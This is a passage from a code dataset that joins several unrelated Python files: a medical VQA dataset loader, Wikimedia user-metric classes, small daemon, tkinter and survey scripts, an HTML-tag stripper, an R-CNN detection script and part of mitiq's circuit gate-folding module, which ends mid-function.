utils.assert_eq(sample['image_name'], answer['image_name'])\n img_id = sample['image_name']\n if not COUNTING_ONLY or is_howmany(sample['question'], answer, label2ans):\n entries.append(_create_entry(img_id2val[img_id], sample, answer))\n\n return entries\n\nclass VQAFeatureDataset(Dataset):\n def __init__(self, name, args, dictionary, dataroot='data', question_len=12):\n super(VQAFeatureDataset, self).__init__()\n self.args = args\n assert name in ['train', 'test']\n dataroot = args.RAD_dir\n ans2label_path = os.path.join(dataroot, 'cache', 'trainval_ans2label.pkl')\n label2ans_path = os.path.join(dataroot, 'cache', 'trainval_label2ans.pkl')\n self.ans2label = cPickle.load(open(ans2label_path, 'rb'))\n self.label2ans = cPickle.load(open(label2ans_path, 'rb'))\n self.num_ans_candidates = len(self.ans2label)\n\n # End get the number of answer type class\n self.dictionary = dictionary\n\n # TODO: load img_id2idx\n self.img_id2idx = json.load(open(os.path.join(dataroot, 'imgid2idx.json')))\n\n self.entries = _load_dataset(dataroot, name, self.img_id2idx, self.label2ans)\n # load image data for MAML module\n if args.maml:\n # TODO: load images\n images_path = os.path.join(dataroot, 'images84x84.pkl')\n print('loading MAML image data from file: '+ images_path)\n self.maml_images_data = cPickle.load(open(images_path, 'rb'))\n # load image data for Auto-encoder module\n if args.autoencoder:\n # TODO: load images\n images_path = os.path.join(dataroot, 'images128x128.pkl')\n print('loading DAE image data from file: '+ images_path)\n self.ae_images_data = cPickle.load(open(images_path, 'rb'))\n # tokenization\n self.tokenize(question_len)\n self.tensorize()\n if args.autoencoder and args.maml:\n self.v_dim = args.feat_dim * 2\n else:\n self.v_dim = args.feat_dim\n def tokenize(self, max_length=12):\n \"\"\"Tokenizes the questions.\n\n This will add q_token in each entry of the dataset.\n -1 represent nil, and should be treated as padding_idx in embedding\n \"\"\"\n for entry in self.entries:\n tokens = self.dictionary.tokenize(entry['question'], False)\n tokens = tokens[:max_length]\n if len(tokens) < max_length:\n # Note here we pad in front of the sentence\n padding = [self.dictionary.padding_idx] * (max_length - len(tokens))\n tokens = tokens + padding\n utils.assert_eq(len(tokens), max_length)\n entry['q_token'] = tokens\n\n def tensorize(self):\n if self.args.maml:\n self.maml_images_data = torch.from_numpy(self.maml_images_data)\n self.maml_images_data = self.maml_images_data.type('torch.FloatTensor')\n if self.args.autoencoder:\n self.ae_images_data = torch.from_numpy(self.ae_images_data)\n self.ae_images_data = self.ae_images_data.type('torch.FloatTensor')\n for entry in self.entries:\n question = torch.from_numpy(np.array(entry['q_token']))\n entry['q_token'] = question\n\n answer = entry['answer']\n if None!=answer:\n labels = np.array(answer['labels'])\n scores = np.array(answer['scores'], dtype=np.float32)\n if len(labels):\n labels = torch.from_numpy(labels)\n scores = torch.from_numpy(scores)\n entry['answer']['labels'] = labels\n entry['answer']['scores'] = scores\n else:\n entry['answer']['labels'] = None\n entry['answer']['scores'] = None\n\n def __getitem__(self, index):\n entry = self.entries[index]\n question = entry['q_token']\n answer = entry['answer']\n answer_type = entry['answer_type']\n question_type = entry['question_type']\n phrase_type = entry['phrase_type']\n\n image_data = [0, 0]\n if self.args.maml:\n maml_images_data = self.maml_images_data[entry['image']].reshape(84*84)\n image_data[0] = maml_images_data\n if self.args.autoencoder:\n ae_images_data = self.ae_images_data[entry['image']].reshape(128*128)\n image_data[1] = ae_images_data\n\n if None!=answer:\n labels = answer['labels']\n scores = answer['scores']\n target = torch.zeros(self.num_ans_candidates)\n if labels is not None:\n target.scatter_(0, labels, scores)\n return image_data, question, target, answer_type, question_type, phrase_type\n\n else:\n return image_data, question, answer_type, question_type, phrase_type\n\n def __len__(self):\n return len(self.entries)\n\ndef tfidf_from_questions(names, args, dictionary, dataroot='data', target=['rad']):\n inds = [[], []] # rows, cols for uncoalesce sparse matrix\n df = dict()\n N = len(dictionary)\n if args.use_RAD:\n dataroot = args.RAD_dir\n def populate(inds, df, text):\n tokens = dictionary.tokenize(text, True)\n for t in tokens:\n df[t] = df.get(t, 0) + 1\n combin = list(itertools.combinations(tokens, 2))\n for c in combin:\n if c[0] < N:\n inds[0].append(c[0]); inds[1].append(c[1])\n if c[1] < N:\n inds[0].append(c[1]); inds[1].append(c[0])\n\n if 'rad' in target:\n for name in names:\n assert name in ['train', 'test']\n question_path = os.path.join(dataroot, name + 'set.json')\n questions = json.load(open(question_path))\n for question in questions:\n populate(inds, df, question['question'])\n\n # TF-IDF\n vals = [1] * len(inds[1])\n for idx, col in enumerate(inds[1]):\n assert df[col] >= 1, 'document frequency should be greater than zero!'\n vals[col] /= df[col]\n\n # Make stochastic matrix\n def normalize(inds, vals):\n z = dict()\n for row, val in zip(inds[0], vals):\n z[row] = z.get(row, 0) + val\n for idx, row in enumerate(inds[0]):\n vals[idx] /= z[row]\n return vals\n\n vals = normalize(inds, vals)\n\n tfidf = torch.sparse.FloatTensor(torch.LongTensor(inds), torch.FloatTensor(vals))\n tfidf = tfidf.coalesce()\n\n # Latent word embeddings\n emb_dim = 300\n glove_file = os.path.join(dataroot, 'glove', 'glove.6B.%dd.txt' % emb_dim)\n weights, word2emb = utils.create_glove_embedding_init(dictionary.idx2word[N:], glove_file)\n print('tf-idf stochastic matrix (%d x %d) is generated.' % (tfidf.size(0), tfidf.size(1)))\n\n return tfidf, weights\n\nif __name__=='__main__':\n # dictionary = Dictionary.load_from_file('data_RAD/dictionary.pkl')\n # tfidf, weights = tfidf_from_questions(['train'], None, dictionary)\n # w_emb = WordEmbedding(dictionary.ntoken, 300, .0, 'c')\n # w_emb.init_embedding(os.path.join('data_RAD', 'glove6b_init_300d.npy'), tfidf, weights)\n # with open('data_RAD/embed_tfidf_weights.pkl', 'wb') as f:\n # torch.save(w_emb, f)\n # print(\"Saving embedding with tfidf and weights successfully\")\n\n dictionary = Dictionary.load_from_file('data_RAD/dictionary.pkl')\n w_emb = WordEmbedding(dictionary.ntoken, 300, .0, 'c')\n with open('data_RAD/embed_tfidf_weights.pkl', 'rb') as f:\n w_emb = torch.load(f)\n print(\"Load embedding with tfidf and weights successfully\")\n","sub_path":"dataset_RAD.py","file_name":"dataset_RAD.py","file_ext":"py","file_size_in_byte":12039,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"307111991","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /Library/Python/2.7/site-packages/src/metrics/user_metric.py\n# Compiled at: 2013-01-30 13:44:04\n\"\"\"\n This module will be used to define Wikimedia Foundation user metrics. The\n Strategy behavioural pattern(http://en.wikipedia.org/wiki/Strategy_pattern)\n will be used to implement the metrics generation. In general the UserMetric\n type utilizes the process() function attribute to produce an internal list\n of metrics for a specified set of user handles (typically ID but user names\n may also be specified) passed to the method on call. The execution of\n process() produces a nested list that can be accessed via generator with\n an object call to __iter__().\n\n The class structure is generally as follows: ::\n\n class Metric(object):\n\n def __init__(self):\n # initialize base metric\n\n return\n\n def process(self):\n # base metric implementation\n\n return metric_value\n\n class DerivedMetric(Metric):\n\n def __init__(self):\n super(DerivedMetric, self)\n\n # initialize derived metric\n\n return\n\n def process(self):\n # derived metric implementation\n\n return metric_value\n\n These metrics will be used to support experimentation and measurement\n at the Wikimedia Foundation. The guidelines for this development may\n be found at https://meta.wikimedia.org/wiki/Research:Metrics.\n\n\"\"\"\n__author__ = 'Ryan Faulkner'\n__date__ = 'July 27th, 2012'\n__license__ = 'GPL (version 2 or later)'\nimport src.etl.data_loader as dl, MySQLdb\nfrom collections import namedtuple\nfrom dateutil.parser import parse as date_parse\nfrom datetime import datetime, timedelta\n\ndef pre_metrics_init(init_f):\n \"\"\" Decorator function for subclassed metrics __init__ \"\"\"\n\n def wrapper(self, **kwargs):\n self.append_params(UserMetric)\n self.apply_default_kwargs(kwargs, 'init')\n init_f(self, **kwargs)\n\n return wrapper\n\n\nMETRIC_AGG_METHOD_FLAG = 'metric_agg_flag'\nMETRIC_AGG_METHOD_HEAD = 'metric_agg_head'\nMETRIC_AGG_METHOD_NAME = 'metric_agg_name'\nMETRIC_AGG_METHOD_KWARGS = 'metric_agg_kwargs'\naggregate_data_class = namedtuple('AggregateData', 'header data')\n\ndef aggregator(agg_method, metric, data_header):\n \"\"\" Method for wrapping and executing aggregated data \"\"\"\n if hasattr(agg_method, METRIC_AGG_METHOD_FLAG) and getattr(agg_method, METRIC_AGG_METHOD_FLAG):\n agg_header = getattr(agg_method, METRIC_AGG_METHOD_HEAD) if hasattr(agg_method, METRIC_AGG_METHOD_HEAD) else 'No header specified.'\n kwargs = getattr(agg_method, METRIC_AGG_METHOD_KWARGS) if hasattr(agg_method, METRIC_AGG_METHOD_KWARGS) else {}\n data = [\n getattr(agg_method, METRIC_AGG_METHOD_NAME)] + agg_method(metric, **kwargs)\n else:\n agg_header = [\n 'type'] + [ data_header[i] for i in metric._agg_indices[agg_method.__name__]\n ]\n data = [agg_method.__name__] + agg_method(metric.__iter__(), metric._agg_indices[agg_method.__name__])\n return aggregate_data_class(agg_header, data)\n\n\nclass UserMetric(object):\n ALL_NAMESPACES = 'all_namespaces'\n DATETIME_STR_FORMAT = '%Y%m%d%H%M%S'\n DEFAULT_DATA_RANGE = 14\n _data_model_meta = dict()\n _agg_indices = dict()\n _param_types = {'init': {'date_start': [\n 'str|datetime', 'Earliest date metric is measured.',\n datetime.now() + timedelta(DEFAULT_DATA_RANGE)], \n 'date_end': [\n 'str|datetime', 'Latest date metric is measured.',\n datetime.now()], \n 'project': [\n 'str', 'The project (language) being inspected.',\n 'enwiki'], \n 'namespace': [\n 'int|set', 'The namespace over which the metric is computed.',\n 0]}, \n 'process': {}}\n\n def apply_default_kwargs(self, kwargs, arg_type):\n \"\"\" Apply parameter defaults where necessary \"\"\"\n if hasattr(kwargs, '__iter__') and arg_type in self._param_types:\n for k in self._param_types[arg_type]:\n if k not in kwargs or not kwargs[k]:\n kwargs[k] = self._param_types[arg_type][k][2]\n\n def __init__(self, **kwargs):\n self._data_source_ = dl.Connector(instance='slave')\n self._results = list()\n self._start_ts_ = self._get_timestamp(kwargs['date_start'])\n self._end_ts_ = self._get_timestamp(kwargs['date_end'])\n self._project_ = kwargs['project']\n namespace = kwargs['namespace']\n if not namespace == self.ALL_NAMESPACES:\n if not hasattr(namespace, '__iter__'):\n namespace = [namespace]\n self._namespace_ = set(namespace)\n else:\n self._namespace_ = namespace\n\n def __str__(self):\n return ('\\n').join([str(self._data_source_._db_),\n str(self.__class__),\n str(self._namespace_),\n self._project_])\n\n def __iter__(self):\n return (r for r in self._results)\n\n def __del__(self):\n if hasattr(self, '_data_source_') and hasattr(self._data_source_, 'close_db'):\n self._data_source_.close_db()\n\n def append_params(self, class_ref):\n \"\"\" Append params from class reference \"\"\"\n if hasattr(class_ref, '_param_types'):\n for k, v in class_ref._param_types['init'].iteritems():\n self.__class__._param_types['init'][k] = v\n\n for k, v in class_ref._param_types['process'].iteritems():\n self.__class__._param_types['process'][k] = v\n\n @property\n def date_start(self):\n return self._start_ts_\n\n @property\n def date_end(self):\n return self._end_ts_\n\n @classmethod\n def _construct_data_point(cls):\n return namedtuple(cls.__name__, cls.header())\n\n @classmethod\n def _get_timestamp(cls, ts_representation):\n \"\"\"\n Helper method. Takes a representation of a date object (String or\n datetime.datetime object) and formats as a timestamp:\n \"YYYY-MM-DD HH:II:SS\"\n\n - Parameters:\n - *date_representation* - String or datetime. A formatted\n timestamp representation\n\n - Return:\n - String. Timestamp derived from argument in format\n \"YYYY-MM-DD HH:II:SS\".\n \"\"\"\n try:\n datetime_obj = date_parse(ts_representation[:19])\n except AttributeError:\n datetime_obj = ts_representation\n except TypeError:\n datetime_obj = ts_representation\n\n try:\n timestamp = datetime_obj.strftime(cls.DATETIME_STR_FORMAT)\n return timestamp\n except ValueError:\n raise cls.UserMetricError(message='Could not parse timestamp: %s' % datetime_obj.__str__())\n\n @classmethod\n def _escape_var(cls, var):\n \"\"\"\n Escapes either elements of a list (recursively visiting elements)\n or a single variable. The variable is cast to string before being\n escaped.\n\n - Parameters:\n - **var**: List or string. Variable or list (potentially\n nested) of variables to be escaped.\n\n - Return:\n - List or string. escaped elements.\n \"\"\"\n if hasattr(var, '__iter__'):\n escaped_var = list()\n for elem in var:\n escaped_var.append(cls._escape_var(elem))\n\n return escaped_var\n return MySQLdb.escape_string(str(var))\n\n @classmethod\n def _format_namespace(cls, namespace):\n ns_cond = ''\n if hasattr(namespace, '__iter__'):\n if len(namespace) == 1:\n ns_cond = 'page_namespace = ' + str(namespace.pop())\n else:\n ns_cond = 'page_namespace in (' + (',').join(dl.DataLoader().cast_elems_to_string(list(namespace))) + ')'\n return ns_cond\n\n @staticmethod\n def header():\n raise NotImplementedError\n\n @staticmethod\n def pre_process_users(proc_func):\n\n def wrapper(self, users, **kwargs):\n if hasattr(users, 'get_users'):\n users = [ u for u in users.get_users(self._start_ts_, self._end_ts_) ]\n return proc_func(self, users, **kwargs)\n\n return wrapper\n\n def process(self, users, **kwargs):\n raise NotImplementedError()\n\n class UserMetricError(Exception):\n \"\"\" Basic exception class for UserMetric types \"\"\"\n\n def __init__(self, message='Unable to process results using strategy.'):\n Exception.__init__(self, message)","sub_path":"pycfiles/wmf_user_metrics-0.1.1.macosx-10.7-intel.tar/user_metric.py","file_name":"user_metric.py","file_ext":"py","file_size_in_byte":8968,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"69087301","text":"# -*- coding: utf-8 -*-\n# http://ymotongpoo.hatenablog.com/entry/20111217/1324125102\n\nimport time\nfrom datetime import datetime\nimport os,sys,lockfile\nimport daemon\n\ndef daemon_process():\n while True:\n print( \"pid: %d, ppid: %d, time: %s\" %\n (os.getpid(), os.getppid(), datetime.now()) )\n sys.stdout.flush()\n time.sleep(5)\n\nworking_dir = os.path.abspath(os.path.dirname(__file__))\n\ncontext = daemon.DaemonContext(\n working_directory = working_dir,\n stdout = open(\"stdout_file.txt\", \"w+\"),\n stderr = open(\"stderr_file.txt\", \"w+\")\n)\n\nif __name__ == '__main__':\n with context:\n daemon_process()\n","sub_path":"python/daemon/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":649,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"576247875","text":"import tkinter as tk\n\ncounter = 0\n\nstyles = [dict(bg=\"azure\", fg=\"#333333\"), dict(fg=\"white\", bg=\"black\")]\n\ndef add_label(Event=None):\n\n global counter\n name = user_entry.get()\n if len(name) < 3:\n hint.configure(text=\"Введите хотябы три символа\")\n return\n\n user_entry.delete(0, tk.END)\n new_label = tk.Label(window, text=name, pady=\"10\")\n new_label.configure(styles[counter%2])\n if counter >= 5:\n counter = 0\n children = window.winfo_children()\n for element in filter(lambda x: isinstance(x, tk.Label) and x.winfo_name() not in ('!label1', '!label2') != '!label', children):\n element.destroy()\n\n new_label.pack(fill=tk.X)\n\n counter += 1\n\n\n\nwindow = tk.Tk()\n\nwindow.geometry(\"400x500\")\n\nwindow.resizable(False, False)\n\nuser_entry = tk.Entry(window, width=\"60\")\nuser_entry.pack()\nuser_entry.focus_set()\n\ntk.Button(window, text=\"Beech\", command=add_label).pack()\n\nhint = tk.Label(window, text=\"Введите хотябы три символа\", fg=\"indian red\", font=(\"Time New Roman\", 10))\nhint.pack()\n\n# tk.Label(window, text=\"Тыч в кнопку\", pady=\"30\", bg=\"NavajoWhite2\", fg=\"#885144\").pack()\n\nuser_entry.bind('',add_label)\n\nwindow.mainloop()","sub_path":"1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":1255,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"592528744","text":"\"\"\"\nPodemos pedir a quantidade de entrada que for necessária a cada passagem\npor um laço while. Vamos criar um programa de enquete em que cada\npassagem pelo laço solicita o nome do participante e uma resposta.\nArmazenaremos os dados coletados em um dicionário, pois queremos\nassociar cada resposta a um usuário em particular:\n\"\"\"\n\nrespostas = {}\n\n#Define uma flag para indicar que a enquete está ativa\npesquisa_ativa = True\n\nwhile pesquisa_ativa:\n #Pede o nome da pessoa e a resposta\n nome = input(\"\\nQual é o seu nome? \")\n resposta = input(\"Qual montanha você gostaria de escalar um dia? \")\n\n #Armazena a resposta no dicionário\n respostas[nome] = resposta\n\n #Descobre se outra pessoa vai responder à enquete\n repetir = input(\"Gostaria de deixar outra pessoa responder? (Sim / Não) \")\n if repetir == 'não':\n pesquisa_ativa = False\n\n#A enquete foi concluída. Mostra os resultados\nprint(\"\\n--- Resultados da Pesquisa ---\")\nfor nome, resposta in respostas.items():\n print(nome + \" gostaria de subir no(a) \" + resposta + \".\")","sub_path":"Capitulo 7/montanha_pesquisa.py","file_name":"montanha_pesquisa.py","file_ext":"py","file_size_in_byte":1068,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"175367279","text":"# coding=utf8\n# Create by 吴俊 on 2016/5/12\n\nimport re\n\n\n# 去除文本中html标签并保留原格式工具类\n# 使用方法：\n# # from Tool import *\n# # tool = Tool()\n# # tool.replaceHTMLTag(html)\nclass Tool:\n\tdef __init__(self):\n\t\t# 去除img标签，7位长空格\n\t\tself.removeImg = re.compile(u'| {7}|')\n\t\t# 删除超链接标签\n\t\tself.removeAddr = re.compile(u'|')\n\t\t# 把换行的标签换为\\n\n\t\tself.repalceLine = re.compile(u'|
    |
    |

    ')\n\t\t# 将表格制表替换为\\t\n\t\tself.repalceTD = re.compile(u'')\n\t\t# 把段落开头换为\\n加两空格\n\t\tself.repalcePara = re.compile(u'')\n\t\t# 将换行符或双换行符替换为\\n\n\t\tself.repalceBR = re.compile(u'

    |
    ')\n\t\t# 将其余标签剔除\n\t\tself.repalceExtraTag = re.compile(u'<.*?>')\n\n\tdef replaceHTMLTag(self, html):\n\t\thtml = re.sub(self.removeImg, \"\", html)\n\t\thtml = re.sub(self.removeAddr, \"\", html)\n\t\thtml = re.sub(self.repalceLine, \"\\n\", html)\n\t\thtml = re.sub(self.repalceTD, \"\\t\", html)\n\t\thtml = re.sub(self.repalcePara, \"\\n \", html)\n\t\thtml = re.sub(self.repalceBR, \"\\n\", html)\n\t\thtml = re.sub(self.repalceExtraTag, \"\", html)\n\t\t# strip()将前后多余内容删除\n\t\treturn html.strip()\n\n\nif __name__ == '__main__':\n\tprint(u'这是一个去除文本中html标签并保留原格式工具类')\n","sub_path":"BaiDuTieBa/Tool.py","file_name":"Tool.py","file_ext":"py","file_size_in_byte":1319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"509190152","text":"import os\nimport argparse\nimport time\nimport _thread\n\nimport _init_paths # pylint: disable=unused-import\n\nfrom urllib import request\nimport cv2\nimport numpy as np\nimport base64\nimport urllib3\nimport uuid\n\nimport torch\n\nfrom rcnn.core.config import cfg, merge_cfg_from_file, merge_cfg_from_list, assert_and_infer_cfg\nfrom rcnn.modeling.parsing_rcnn.inference import parsing_results\nfrom rcnn.core.test_engine import initialize_model_from_cfg\nimport rcnn.core.test as rcnn_test\n\n# Parse arguments\nparser = argparse.ArgumentParser(description='Hier R-CNN Detect')\nparser.add_argument('--cfg', dest='cfg_file',\n help='optional config file',\n default='./cfgs/mscoco_humanparts/e2e_hier_rcnn_R-50-FPN_1x.yaml', type=str)\nparser.add_argument('--gpu_id', type=str, default='0,1,2,3,4,5,6,7', help='gpu id for evaluation')\nparser.add_argument('opts', help='See rcnn/core/config.py for all options',\n default=None,\n nargs=argparse.REMAINDER)\nargs = parser.parse_args()\nos.environ['CUDA_VISIBLE_DEVICES'] = args.gpu_id\n\n# http连接池\nhttp_client = urllib3.PoolManager()\n\ndef main():\n if len(args.gpu_id.split(',')) == 1:\n local_rank = int(args.gpu_id.split(',')[0])\n else:\n local_rank = -1\n args.local_rank = local_rank\n\n num_gpus = len(args.gpu_id.split(','))\n multi_gpu_testing = True if num_gpus > 1 else False\n\n if args.cfg_file is not None:\n merge_cfg_from_file(args.cfg_file)\n if args.opts is not None:\n merge_cfg_from_list(args.opts)\n\n assert_and_infer_cfg(make_immutable=False)\n args.test_net_file, _ = os.path.splitext(__file__)\n\n model = initialize_model_from_cfg()\n\n start_time = time.time()\n image = cv2.imread('', cv2.IMREAD_COLOR)\n box_results, par_results, par_score = detect(model, image)\n print(' cost: ' + str(time.time() - start_time))\n\n print(dict(\n boxes=box_results,\n parss=par_results,\n pscores=par_score,\n ))\n\ndef get_image_from_base64(base64_code):\n ''' \n base64转成opencv的图片对象\n '''\n img_data = base64.b64decode(base64_code)\n return read_image(img_data)\n\ndef get_image_from_url(url):\n '''\n 把图片url转成opencv的图片对象\n '''\n img_data = http_client.request(\"GET\", url).data\n print(img_data.count)\n return read_image(img_data)\n\ndef read_image(img_data):\n '''\n 把字节数组转成opencv的图片对象\n '''\n imgArray = np.frombuffer(img_data, np.uint8)\n img = cv2.imdecode(imgArray, cv2.IMREAD_COLOR)\n # cv2.imwrite('/Users/kevin/Downloads/2020.jpg', img)\n return img\n\n\ndef detect(model, image):\n start_time = time.time()\n with torch.no_grad():\n results, features = rcnn_test.im_detect_bbox(model, [image])\n print(\"1 cost: \" + str(time.time() - start_time))\n start_time = time.time()\n\n if cfg.MODEL.MASK_ON:\n result = rcnn_test.im_detect_mask(model, results, features)\n print(\"2 cost: \" + str(time.time() - start_time))\n start_time = time.time()\n if cfg.MODEL.PARSING_ON:\n result = rcnn_test.im_detect_parsing(model, results, features)\n print(\"3 cost: \" + str(time.time() - start_time))\n start_time = time.time()\n\n if not results or len(results) != 1 or len(results[0]) == 0:\n return None\n\n image_height = image.shape[0]\n image_width = image.shape[1]\n\n cpu_device = torch.device(\"cpu\")\n result = result[0].to(cpu_device)\n result = result.resize((image_width, image_height))\n \n return post_processing(result, image)\n\ndef post_processing(result, image):\n start_time = time.time()\n box_results = prepare_box_results(result, image)\n print(\"4 cost: \" + str(time.time() - start_time))\n start_time = time.time()\n\n if cfg.MODEL.PARSING_ON:\n par_results, par_score = prepare_parsing_results(result, image)\n print(\"5 cost: \" + str(time.time() - start_time))\n start_time = time.time()\n else:\n par_results = []\n par_score = []\n\n return box_results, par_results, par_score\n\ndef prepare_box_results(result, image):\n scores = result.get_field(\"scores\").tolist()\n result = result.convert(\"xywh\")\n boxes = result.bbox.tolist()\n\n return [\n {\n \"bbox\": box,\n \"score\": scores[k],\n }\n for k, box in enumerate(boxes)\n ]\n\ndef prepare_parsing_results(result, image):\n semseg = result.get_field(\"semseg\") if cfg.MODEL.SEMSEG_ON else None\n parsing = result.get_field(\"parsing\")\n parsing = parsing_results(parsing, result, semseg=semseg)\n scores = result.get_field(\"parsing_scores\")\n\n return parsing, scores\n\nif __name__ == '__main__':\n main()","sub_path":"tools/detect.py","file_name":"detect.py","file_ext":"py","file_size_in_byte":4811,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"648423693","text":"\"\"\"Functions for folding gates in valid mitiq circuits.\n\nPublic functions work for any circuit types supported by mitiq.\nPrivate functions work only for iternal mitiq circuit representations.\n\"\"\"\nfrom copy import deepcopy\nfrom typing import Any, Callable, Iterable, List, Optional, Tuple, Union\n\nimport numpy as np\n\nfrom cirq import Circuit, InsertStrategy, inverse, ops\nfrom mitiq import QPROGRAM, SUPPORTED_PROGRAM_TYPES\n\n\nclass UnsupportedCircuitError(Exception):\n pass\n\n\n# Helper functions\ndef _is_measurement(op: ops.Operation) -> bool:\n \"\"\"Returns true if the operation's gate is a measurement, else False.\n\n Args:\n op: Gate operation.\n \"\"\"\n return isinstance(op.gate, ops.measurement_gate.MeasurementGate)\n\n\ndef _pop_measurements(\n circuit: Circuit,\n) -> List[List[Union[int, ops.Operation]]]:\n \"\"\"Removes all measurements from a circuit.\n\n Args:\n circuit: a quantum circuit as a :class:`cirq.Circuit` object.\n\n Returns:\n measurements: list\n \"\"\"\n measurements = [\n list(m) for m in circuit.findall_operations(_is_measurement)\n ]\n circuit.batch_remove(measurements)\n return measurements\n\n\ndef _append_measurements(\n circuit: Circuit, measurements: List[Union[int, ops.Operation]]\n) -> None:\n \"\"\"Appends all measurements into the final moment of the circuit.\n\n Args:\n circuit: a quantum circuit as a :class:`cirq.Circuit`.\n measurements: measurements to perform.\n \"\"\"\n for i in range(len(measurements)):\n measurements[i][0] = (\n len(circuit) + 1\n ) # Make sure the moment to insert into is the last in the circuit\n circuit.batch_insert(measurements)\n\n\n# Conversions\ndef convert_to_mitiq(circuit: QPROGRAM) -> Tuple[Circuit, str]:\n \"\"\"Converts any valid input circuit to a mitiq circuit.\n\n Args:\n circuit: Any quantum circuit object supported by mitiq.\n See mitiq.SUPPORTED_PROGRAM_TYPES.\n\n Raises:\n UnsupportedCircuitError: If the input circuit is not supported.\n\n Returns:\n circuit: Mitiq circuit equivalent to input circuit.\n input_circuit_type: Type of input circuit represented by a string.\n \"\"\"\n if \"qiskit\" in circuit.__module__:\n from mitiq.mitiq_qiskit.conversions import _from_qiskit\n input_circuit_type = \"qiskit\"\n mitiq_circuit = _from_qiskit(circuit)\n elif isinstance(circuit, Circuit):\n input_circuit_type = \"cirq\"\n mitiq_circuit = circuit\n else:\n raise UnsupportedCircuitError(\n f\"Circuit from module {circuit.__module__} is not supported.\\n\\n\" +\n f\"Circuit types supported by mitiq are \\n{SUPPORTED_PROGRAM_TYPES}\"\n )\n return mitiq_circuit, input_circuit_type\n\n\ndef convert_from_mitiq(circuit: Circuit, conversion_type: str) -> QPROGRAM:\n \"\"\"Converts a mitiq circuit to a type specificed by the conversion type.\n\n Args:\n circuit: Mitiq circuit to convert.\n conversion_type: String specifier for the converted circuit type.\n \"\"\"\n if conversion_type == \"qiskit\":\n from mitiq.mitiq_qiskit.conversions import _to_qiskit\n converted_circuit = _to_qiskit(circuit)\n elif isinstance(circuit, Circuit):\n converted_circuit = circuit\n else:\n raise UnsupportedCircuitError(\n f\"Conversion to circuit of type {conversion_type} is not supported.\"\n f\"\\nCircuit types supported by mitiq are {SUPPORTED_PROGRAM_TYPES}\"\n )\n return converted_circuit\n\n\ndef converter(fold_method: Callable) -> Callable:\n \"\"\"Decorator for handling conversions.\"\"\"\n def new_fold_method(circuit: QPROGRAM, *args, **kwargs) -> QPROGRAM:\n mitiq_circuit, input_circuit_type = convert_to_mitiq(circuit)\n if kwargs.get(\"keep_input_type\"):\n return convert_from_mitiq(\n fold_method(mitiq_circuit, *args, **kwargs), input_circuit_type\n )\n return fold_method(mitiq_circuit, *args, **kwargs)\n return new_fold_method\n\n\n# Gate level folding\ndef _fold_gate_at_index_in_moment(\n circuit: Circuit, moment_index: int, gate_index: int\n) -> None:\n \"\"\"Replaces, in a circuit, the gate G in (moment, index) with G G^dagger G.\n\n Args:\n circuit: Circuit to fold.\n moment_index: Moment in which the gate sits in the circuit.\n gate_index: Index of the gate within the specified moment.\n \"\"\"\n op = circuit[moment_index].operations[gate_index]\n circuit.insert(\n moment_index, [op, inverse(op)], strategy=InsertStrategy.NEW\n )\n\n\ndef _fold_gates_in_moment(\n circuit: Circuit, moment_index: int, gate_indices: Iterable[int]\n) -> None:\n \"\"\"Modifies the input circuit by applying the map G -> G G^dag G to all\n gates specified by the input moment index and gate indices.\n\n Args:\n circuit: Circuit to fold.\n moment_index: Index of moment to fold gates in.\n gate_indices: Indices of gates within the moments to fold.\n \"\"\"\n for (i, gate_index) in enumerate(gate_indices):\n _fold_gate_at_index_in_moment(\n circuit, moment_index + 2 * i, gate_index\n ) # Each fold adds two moments\n\n\n@converter\ndef fold_gates(\n circuit: QPROGRAM,\n moment_indices: Iterable[int],\n gate_indices: List[Iterable[int]],\n **kwargs,\n) -> QPROGRAM:\n \"\"\"Returns a new circuit with specified gates folded.\n\n Args:\n circuit: Circuit to fold.\n moment_indices: Indices of moments with gates to be folded.\n gate_indices: Specifies which gates within each moment to fold.\n\n Keyword Args:\n keep_input_type: If True, returns a circuit of the input type, else\n returns a mitiq circuit.\n\n Returns:\n folded: the folded quantum circuit as a :class:`cirq.Circuit` object.\n\n Examples:\n (1) Folds the first three gates in moment two.\n >>> fold_gates(circuit, moment_indices=[1], gate_indices=[(0, 1, 2)])\n\n (2) Folds gates with indices 1, 4, and 5 in moment 0,\n and gates with indices 0, 1, and 2 in moment 1.\n >>> fold_gates(circuit, moment_indices=[0, 3],\n >>> gate_indices=[(1, 4, 5), (0, 1, 2)])\n \"\"\"\n folded = deepcopy(circuit)\n moment_index_shift = 0\n for (i, moment_index) in enumerate(moment_indices):\n _fold_gates_in_moment(\n folded, moment_index + moment_index_shift, gate_indices[i]\n )\n moment_index_shift += 2 * len(\n gate_indices[i]\n ) # Folding gates adds moments\n return folded\n\n\ndef _fold_moments(circuit: Circuit, moment_indices: List[int]) -> None:\n \"\"\"Folds specified moments in the circuit in place.\n\n Args:\n circuit: Circuit to fold.\n moment_indices: Indices of moments to fold in the circuit.\n\n \"\"\"\n shift = 0\n for i in moment_indices:\n circuit.insert(\n i + shift, [circuit[i + shift], inverse(circuit[i + shift])]\n )\n shift += 2\n\n\n@converter\ndef fold_moments(circuit: QPROGRAM,\n moment_indices: List[int],\n **kwargs\n ) -> QPROGRAM:\n \"\"\"Returns a new circuit with moments folded by mapping\n\n M_i -> M_i M_i^dag M_i\n\n where M_i is a moment specified by an integer in moment_indices.\n\n Args:\n circuit: Circuit to apply folding operation to.\n moment_indices: List of integers that specify moments to fold.\n\n Keyword Args:\n keep_input_type: If True, returns a circuit of the input type, else\n returns a mitiq circuit.\n\n Returns:\n folded: the folded quantum circuit as a :class:`cirq.Circuit` object.\n \"\"\"\n folded = deepcopy(circuit)\n _fold_moments(folded, 